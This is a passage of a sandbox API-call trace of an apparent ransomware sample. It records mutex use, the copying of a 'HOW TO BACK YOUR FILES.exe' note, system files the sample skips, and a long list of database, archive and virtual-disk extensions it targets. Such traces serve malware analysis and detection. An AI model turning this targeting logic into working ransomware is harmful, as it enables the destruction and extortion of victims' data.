cFileName="TTS20", cAlternateFileName="")) returned 0 [0118.121] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.121] ReleaseMutex (hMutex=0xec) returned 1 [0118.121] CloseHandle (hObject=0xec) returned 1 [0118.121] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\System\\ado" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado") returned="C:\\Program Files\\Common Files\\System\\ado" [0118.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528e90 | out: hHeap=0x4f0000) returned 1 [0118.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f6e8 | out: hHeap=0x4f0000) returned 1 [0118.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado") returned 40 [0118.121] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7D8C96229998609DF368BB8AC4CE45F8") returned 0xec [0118.121] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.122] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\ado" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado") returned="C:\\Program Files\\Common Files\\System\\ado" [0118.122] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.122] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ado\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ado\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.122] GetLastError () returned 0x0 [0118.122] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.122] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.123] CloseHandle (hObject=0xf4) returned 1 [0118.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.123] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce172a60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce172a60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.124] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.124] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.124] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.124] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce172a60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce172a60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.124] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.124] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.124] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.124] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.124] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2=".") returned 1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="..") returned 1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="windows") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="bootmgr") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="temp") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="pagefile.sys") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="boot") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="ids.txt") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="ntuser.dat") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="perflogs") returned -1 [0118.124] lstrcmpiW (lpString1="adojavas.inc", lpString2="MSBuild") returned -1 [0118.124] lstrlenW (lpString="adojavas.inc") returned 12 [0118.124] lstrcpyW (in: lpString1=0x241e89a, lpString2="adojavas.inc" | out: lpString1="adojavas.inc") returned="adojavas.inc" [0118.124] lstrlenW (lpString="adojavas.inc") returned 12 [0118.124] lstrlenW (lpString="Athena865") returned 9 [0118.124] lstrcmpiW (lpString1="javas.inc", lpString2="Athena865") returned 1 [0118.124] lstrlenW (lpString=".dll") returned 4 [0118.125] lstrcmpiW (lpString1="adojavas.inc", lpString2=".dll") returned 1 [0118.125] lstrlenW (lpString=".lnk") returned 4 [0118.125] lstrcmpiW (lpString1="adojavas.inc", lpString2=".lnk") returned 1 [0118.125] lstrlenW (lpString=".ini") returned 4 [0118.125] lstrcmpiW (lpString1="adojavas.inc", lpString2=".ini") returned 1 [0118.125] lstrlenW (lpString=".sys") returned 4 [0118.125] lstrcmpiW (lpString1="adojavas.inc", lpString2=".sys") returned 1 [0118.125] lstrlenW (lpString="adojavas.inc") returned 12 [0118.125] lstrlenW (lpString="bak") returned 3 [0118.125] lstrcmpiW (lpString1="inc", lpString2="bak") returned 1 [0118.125] lstrlenW (lpString="ba_") returned 3 [0118.125] lstrcmpiW (lpString1="inc", lpString2="ba_") returned 1 [0118.125] lstrlenW (lpString="dbb") returned 3 [0118.125] lstrcmpiW (lpString1="inc", lpString2="dbb") returned 1 [0118.125] lstrlenW (lpString="vmdk") returned 4 [0118.125] lstrcmpiW (lpString1=".inc", lpString2="vmdk") returned -1 [0118.125] lstrlenW (lpString="rar") returned 3 [0118.170] lstrcmpiW (lpString1="inc", lpString2="rar") returned -1 [0118.170] lstrlenW (lpString="zip") returned 3 [0118.170] lstrcmpiW (lpString1="inc", lpString2="zip") returned -1 [0118.170] lstrlenW (lpString="tgz") returned 3 [0118.170] lstrcmpiW (lpString1="inc", lpString2="tgz") returned -1 [0118.170] lstrlenW (lpString="vbox") returned 4 [0118.170] lstrcmpiW (lpString1=".inc", lpString2="vbox") returned -1 [0118.170] lstrlenW (lpString="vdi") returned 3 [0118.170] lstrcmpiW (lpString1="inc", lpString2="vdi") returned -1 [0118.170] lstrlenW (lpString="vhd") returned 3 [0118.170] lstrcmpiW (lpString1="inc", lpString2="vhd") returned -1 [0118.170] lstrlenW (lpString="vhdx") returned 4 [0118.170] lstrcmpiW (lpString1=".inc", lpString2="vhdx") returned -1 [0118.170] lstrlenW (lpString="avhd") returned 4 [0118.170] lstrcmpiW (lpString1=".inc", lpString2="avhd") returned -1 [0118.170] lstrlenW (lpString="db") returned 2 [0118.171] lstrcmpiW (lpString1="nc", lpString2="db") returned 1 [0118.171] lstrlenW (lpString="db2") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="db2") returned 1 [0118.171] lstrlenW (lpString="db3") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="db3") returned 1 [0118.171] lstrlenW (lpString="dbf") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="dbf") returned 1 [0118.171] lstrlenW (lpString="mdf") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="mdf") returned -1 [0118.171] lstrlenW (lpString="mdb") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="mdb") returned -1 [0118.171] lstrlenW (lpString="sql") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="sql") returned -1 [0118.171] lstrlenW (lpString="sqlite") returned 6 [0118.171] lstrcmpiW (lpString1="as.inc", lpString2="sqlite") returned -1 [0118.171] lstrlenW (lpString="sqlite3") returned 7 [0118.171] lstrcmpiW (lpString1="vas.inc", lpString2="sqlite3") returned 1 [0118.171] lstrlenW (lpString="sqlitedb") returned 8 [0118.171] lstrcmpiW (lpString1="avas.inc", lpString2="sqlitedb") returned -1 [0118.171] lstrlenW (lpString="xml") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="xml") returned -1 [0118.171] lstrlenW (lpString="$er") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="$er") returned 1 [0118.171] lstrlenW (lpString="4dd") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="4dd") returned 1 [0118.171] lstrlenW (lpString="4dl") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="4dl") returned 1 [0118.171] lstrlenW (lpString="^^^") returned 3 [0118.171] lstrcmpiW (lpString1="inc", lpString2="^^^") returned 1 [0118.171] lstrlenW (lpString="abs") returned 3 [0118.172] lstrcmpiW (lpString1="inc", lpString2="abs") returned 1 [0118.172] lstrlenW (lpString="abx") returned 3 [0118.172] lstrcmpiW (lpString1="inc", lpString2="abx") returned 1 [0118.172] lstrlenW (lpString="accdb") returned 5 [0118.172] lstrcmpiW (lpString1="s.inc", lpString2="accdb") returned 1 [0118.172] lstrlenW (lpString="accdc") returned 5 [0118.172] lstrcmpiW (lpString1="s.inc", lpString2="accdc") returned 1 [0118.172] lstrlenW (lpString="accde") returned 5 [0118.172] lstrcmpiW (lpString1="s.inc", lpString2="accde") returned 1 [0118.172] lstrlenW (lpString="accdr") returned 5 [0118.172] lstrcmpiW (lpString1="s.inc", lpString2="accdr") returned 1 [0118.172] lstrlenW (lpString="accdt") returned 5 [0118.172] lstrcmpiW (lpString1="s.inc", lpString2="accdt") returned 1 [0118.172] lstrlenW (lpString="accdw") returned 5 [0118.172] lstrcmpiW (lpString1="s.inc", lpString2="accdw") returned 1 [0118.172] lstrlenW (lpString="accft") returned 5 [0118.172] lstrcmpiW (lpString1="s.inc", lpString2="accft") returned 1 [0118.172] lstrlenW (lpString="adb") returned 3 [0118.172] lstrcmpiW (lpString1="inc", lpString2="adb") returned 1 [0118.172] lstrlenW (lpString="adb") returned 3 [0118.172] lstrcmpiW (lpString1="inc", lpString2="adb") returned 1 [0118.172] lstrlenW (lpString="ade") returned 3 [0118.172] lstrcmpiW (lpString1="inc", lpString2="ade") returned 1 [0118.173] lstrlenW (lpString="adf") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="adf") returned 1 [0118.173] lstrlenW (lpString="adn") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="adn") returned 1 [0118.173] lstrlenW (lpString="adp") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="adp") returned 1 [0118.173] lstrlenW (lpString="alf") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="alf") returned 1 [0118.173] lstrlenW (lpString="ask") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="ask") returned 1 [0118.173] lstrlenW (lpString="btr") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="btr") returned 1 [0118.173] lstrlenW (lpString="cat") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="cat") returned 1 [0118.173] lstrlenW (lpString="cdb") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="cdb") returned 1 [0118.173] lstrlenW (lpString="ckp") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="ckp") returned 1 [0118.173] lstrlenW (lpString="cma") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="cma") returned 1 [0118.173] lstrlenW (lpString="cpd") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="cpd") returned 1 [0118.173] lstrlenW (lpString="dacpac") returned 6 [0118.173] lstrcmpiW (lpString1="as.inc", lpString2="dacpac") returned -1 [0118.173] lstrlenW (lpString="dad") returned 3 [0118.173] lstrcmpiW (lpString1="inc", lpString2="dad") returned 1 [0118.173] lstrlenW (lpString="dadiagrams") returned 10 [0118.173] lstrcmpiW (lpString1="ojavas.inc", lpString2="dadiagrams") returned 1 [0118.173] lstrlenW (lpString="daschema") returned 8 [0118.173] lstrcmpiW (lpString1="avas.inc", lpString2="daschema") returned -1 [0118.174] lstrlenW (lpString="db-journal") returned 10 [0118.174] lstrcmpiW (lpString1="ojavas.inc", lpString2="db-journal") returned 1 [0118.174] lstrlenW (lpString="db-shm") returned 6 [0118.174] lstrcmpiW (lpString1="as.inc", lpString2="db-shm") returned -1 [0118.174] lstrlenW (lpString="db-wal") returned 6 [0118.174] lstrcmpiW (lpString1="as.inc", lpString2="db-wal") returned -1 [0118.174] lstrlenW (lpString="dbc") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dbc") returned 1 [0118.174] lstrlenW (lpString="dbs") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dbs") returned 1 [0118.174] lstrlenW (lpString="dbt") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dbt") returned 1 [0118.174] lstrlenW (lpString="dbv") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dbv") returned 1 [0118.174] lstrlenW (lpString="dbx") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dbx") returned 1 [0118.174] lstrlenW (lpString="dcb") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dcb") returned 1 [0118.174] lstrlenW (lpString="dct") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dct") returned 1 [0118.174] lstrlenW (lpString="dcx") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dcx") returned 1 [0118.174] lstrlenW (lpString="ddl") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="ddl") returned 1 [0118.174] lstrlenW (lpString="dlis") returned 4 [0118.174] lstrcmpiW (lpString1=".inc", lpString2="dlis") returned -1 [0118.174] lstrlenW (lpString="dp1") returned 3 [0118.174] lstrcmpiW (lpString1="inc", lpString2="dp1") returned 1 [0118.174] lstrlenW (lpString="dqy") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="dqy") returned 1 [0118.175] lstrlenW (lpString="dsk") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="dsk") returned 1 [0118.175] lstrlenW (lpString="dsn") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="dsn") returned 1 [0118.175] lstrlenW (lpString="dtsx") returned 4 [0118.175] lstrcmpiW (lpString1=".inc", lpString2="dtsx") returned -1 [0118.175] lstrlenW (lpString="dxl") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="dxl") returned 1 [0118.175] lstrlenW (lpString="eco") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="eco") returned 1 [0118.175] lstrlenW (lpString="ecx") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="ecx") returned 1 [0118.175] lstrlenW (lpString="edb") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="edb") returned 1 [0118.175] lstrlenW (lpString="epim") returned 4 [0118.175] lstrcmpiW (lpString1=".inc", lpString2="epim") returned -1 [0118.175] lstrlenW (lpString="fcd") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="fcd") returned 1 [0118.175] lstrlenW (lpString="fdb") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="fdb") returned 1 [0118.175] lstrlenW (lpString="fic") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="fic") returned 1 [0118.175] lstrlenW (lpString="flexolibrary") returned 12 [0118.175] lstrlenW (lpString="fm5") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="fm5") returned 1 [0118.175] lstrlenW (lpString="fmp") returned 3 [0118.175] lstrcmpiW (lpString1="inc", lpString2="fmp") returned 1 [0118.175] lstrlenW (lpString="fmp12") returned 5 [0118.176] lstrcmpiW (lpString1="s.inc", lpString2="fmp12") returned 1 [0118.176] lstrlenW (lpString="fmpsl") returned 5 [0118.176] lstrcmpiW (lpString1="s.inc", lpString2="fmpsl") returned 1 [0118.176] lstrlenW (lpString="fol") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="fol") returned 1 [0118.176] lstrlenW (lpString="fp3") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="fp3") returned 1 [0118.176] lstrlenW (lpString="fp4") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="fp4") returned 1 [0118.176] lstrlenW (lpString="fp5") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="fp5") returned 1 [0118.176] lstrlenW (lpString="fp7") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="fp7") returned 1 [0118.176] lstrlenW (lpString="fpt") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="fpt") returned 1 [0118.176] lstrlenW (lpString="frm") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="frm") returned 1 [0118.176] lstrlenW (lpString="gdb") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="gdb") returned 1 [0118.176] lstrlenW (lpString="gdb") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="gdb") returned 1 [0118.176] lstrlenW (lpString="grdb") returned 4 [0118.176] lstrcmpiW (lpString1=".inc", lpString2="grdb") returned -1 [0118.176] lstrlenW (lpString="gwi") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="gwi") returned 1 [0118.176] lstrlenW (lpString="hdb") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="hdb") returned 1 [0118.176] lstrlenW (lpString="his") returned 3 [0118.176] lstrcmpiW (lpString1="inc", lpString2="his") returned 1 [0118.176] lstrlenW (lpString="ib") returned 2 [0118.177] lstrcmpiW (lpString1="nc", lpString2="ib") returned 1 [0118.177] lstrlenW (lpString="idb") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="idb") returned 1 [0118.177] lstrlenW (lpString="ihx") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="ihx") returned 1 [0118.177] lstrlenW (lpString="itdb") returned 4 [0118.177] lstrcmpiW (lpString1=".inc", lpString2="itdb") returned -1 [0118.177] lstrlenW (lpString="itw") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="itw") returned -1 [0118.177] lstrlenW (lpString="jet") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="jet") returned -1 [0118.177] lstrlenW (lpString="jtx") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="jtx") returned -1 [0118.177] lstrlenW (lpString="kdb") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="kdb") returned -1 [0118.177] lstrlenW (lpString="kexi") returned 4 [0118.177] lstrcmpiW (lpString1=".inc", lpString2="kexi") returned -1 [0118.177] lstrlenW (lpString="kexic") returned 5 [0118.177] lstrcmpiW (lpString1="s.inc", lpString2="kexic") returned 1 [0118.177] lstrlenW (lpString="kexis") returned 5 [0118.177] lstrcmpiW (lpString1="s.inc", lpString2="kexis") returned 1 [0118.177] lstrlenW (lpString="lgc") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="lgc") returned -1 [0118.177] lstrlenW (lpString="lwx") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="lwx") returned -1 [0118.177] lstrlenW (lpString="maf") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="maf") returned -1 [0118.177] lstrlenW (lpString="maq") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="maq") returned -1 [0118.177] lstrlenW (lpString="mar") returned 3 [0118.177] lstrcmpiW (lpString1="inc", lpString2="mar") returned -1 [0118.178] lstrlenW (lpString="marshal") returned 7 [0118.178] lstrcmpiW (lpString1="vas.inc", lpString2="marshal") returned 1 [0118.178] lstrlenW (lpString="mas") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mas") returned -1 [0118.178] lstrlenW (lpString="mav") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mav") returned -1 [0118.178] lstrlenW (lpString="maw") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="maw") returned -1 [0118.178] lstrlenW (lpString="mdbhtml") returned 7 [0118.178] lstrcmpiW (lpString1="vas.inc", lpString2="mdbhtml") returned 1 [0118.178] lstrlenW (lpString="mdn") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mdn") returned -1 [0118.178] lstrlenW (lpString="mdt") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mdt") returned -1 [0118.178] lstrlenW (lpString="mfd") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mfd") returned -1 [0118.178] lstrlenW (lpString="mpd") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mpd") returned -1 [0118.178] lstrlenW (lpString="mrg") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mrg") returned -1 [0118.178] lstrlenW (lpString="mud") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mud") returned -1 [0118.178] lstrlenW (lpString="mwb") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="mwb") returned -1 [0118.178] lstrlenW (lpString="myd") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="myd") returned -1 [0118.178] lstrlenW (lpString="ndf") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="ndf") returned -1 [0118.178] lstrlenW (lpString="nnt") returned 3 [0118.178] lstrcmpiW (lpString1="inc", lpString2="nnt") returned -1 [0118.179] lstrlenW (lpString="nrmlib") returned 6 [0118.179] lstrcmpiW (lpString1="as.inc", lpString2="nrmlib") returned -1 [0118.179] lstrlenW (lpString="ns2") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="ns2") returned -1 [0118.179] lstrlenW (lpString="ns3") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="ns3") returned -1 [0118.179] lstrlenW (lpString="ns4") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="ns4") returned -1 [0118.179] lstrlenW (lpString="nsf") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="nsf") returned -1 [0118.179] lstrlenW (lpString="nv") returned 2 [0118.179] lstrcmpiW (lpString1="nc", lpString2="nv") returned -1 [0118.179] lstrlenW (lpString="nv2") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="nv2") returned -1 [0118.179] lstrlenW (lpString="nwdb") returned 4 [0118.179] lstrcmpiW (lpString1=".inc", lpString2="nwdb") returned -1 [0118.179] lstrlenW (lpString="nyf") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="nyf") returned -1 [0118.179] lstrlenW (lpString="odb") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="odb") returned -1 [0118.179] lstrlenW (lpString="odb") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="odb") returned -1 [0118.179] lstrlenW (lpString="oqy") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="oqy") returned -1 [0118.179] lstrlenW (lpString="ora") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="ora") returned -1 [0118.179] lstrlenW (lpString="orx") returned 3 [0118.179] lstrcmpiW (lpString1="inc", lpString2="orx") returned -1 [0118.180] lstrlenW (lpString="owc") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="owc") returned -1 [0118.180] lstrlenW (lpString="p96") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="p96") returned -1 [0118.180] lstrlenW (lpString="p97") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="p97") returned -1 [0118.180] lstrlenW (lpString="pan") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="pan") returned -1 [0118.180] lstrlenW (lpString="pdb") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="pdb") returned -1 [0118.180] lstrlenW (lpString="pdm") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="pdm") returned -1 [0118.180] lstrlenW (lpString="pnz") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="pnz") returned -1 [0118.180] lstrlenW (lpString="qry") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="qry") returned -1 [0118.180] lstrlenW (lpString="qvd") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="qvd") returned -1 [0118.180] lstrlenW (lpString="rbf") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="rbf") returned -1 [0118.180] lstrlenW (lpString="rctd") returned 4 [0118.180] lstrcmpiW (lpString1=".inc", lpString2="rctd") returned -1 [0118.180] lstrlenW (lpString="rod") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="rod") returned -1 [0118.180] lstrlenW (lpString="rodx") returned 4 [0118.180] lstrcmpiW (lpString1=".inc", lpString2="rodx") returned -1 [0118.180] lstrlenW (lpString="rpd") returned 3 [0118.180] lstrcmpiW (lpString1="inc", lpString2="rpd") returned -1 [0118.180] lstrlenW (lpString="rsd") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="rsd") returned -1 [0118.181] lstrlenW (lpString="sas7bdat") returned 8 [0118.181] lstrcmpiW (lpString1="avas.inc", lpString2="sas7bdat") returned -1 [0118.181] lstrlenW (lpString="sbf") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="sbf") returned -1 [0118.181] lstrlenW (lpString="scx") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="scx") returned -1 [0118.181] lstrlenW (lpString="sdb") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="sdb") returned -1 [0118.181] lstrlenW (lpString="sdc") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="sdc") returned -1 [0118.181] lstrlenW (lpString="sdf") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="sdf") returned -1 [0118.181] lstrlenW (lpString="sis") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="sis") returned -1 [0118.181] lstrlenW (lpString="spq") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="spq") returned -1 [0118.181] lstrlenW (lpString="te") returned 2 [0118.181] lstrcmpiW (lpString1="nc", lpString2="te") returned -1 [0118.181] lstrlenW (lpString="teacher") returned 7 [0118.181] lstrcmpiW (lpString1="vas.inc", lpString2="teacher") returned 1 [0118.181] lstrlenW (lpString="tmd") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="tmd") returned -1 [0118.181] lstrlenW (lpString="tps") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="tps") returned -1 [0118.181] lstrlenW (lpString="trc") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="trc") returned -1 [0118.181] lstrlenW (lpString="trc") returned 3 [0118.181] lstrcmpiW (lpString1="inc", lpString2="trc") returned -1 [0118.181] lstrlenW (lpString="trm") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="trm") returned -1 [0118.182] lstrlenW (lpString="udb") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="udb") returned -1 [0118.182] lstrlenW (lpString="udl") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="udl") returned -1 [0118.182] lstrlenW (lpString="usr") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="usr") returned -1 [0118.182] lstrlenW (lpString="v12") returned 3 [0118.182] lstrcmpiW (lpString1="inc", lpString2="v12") returned -1 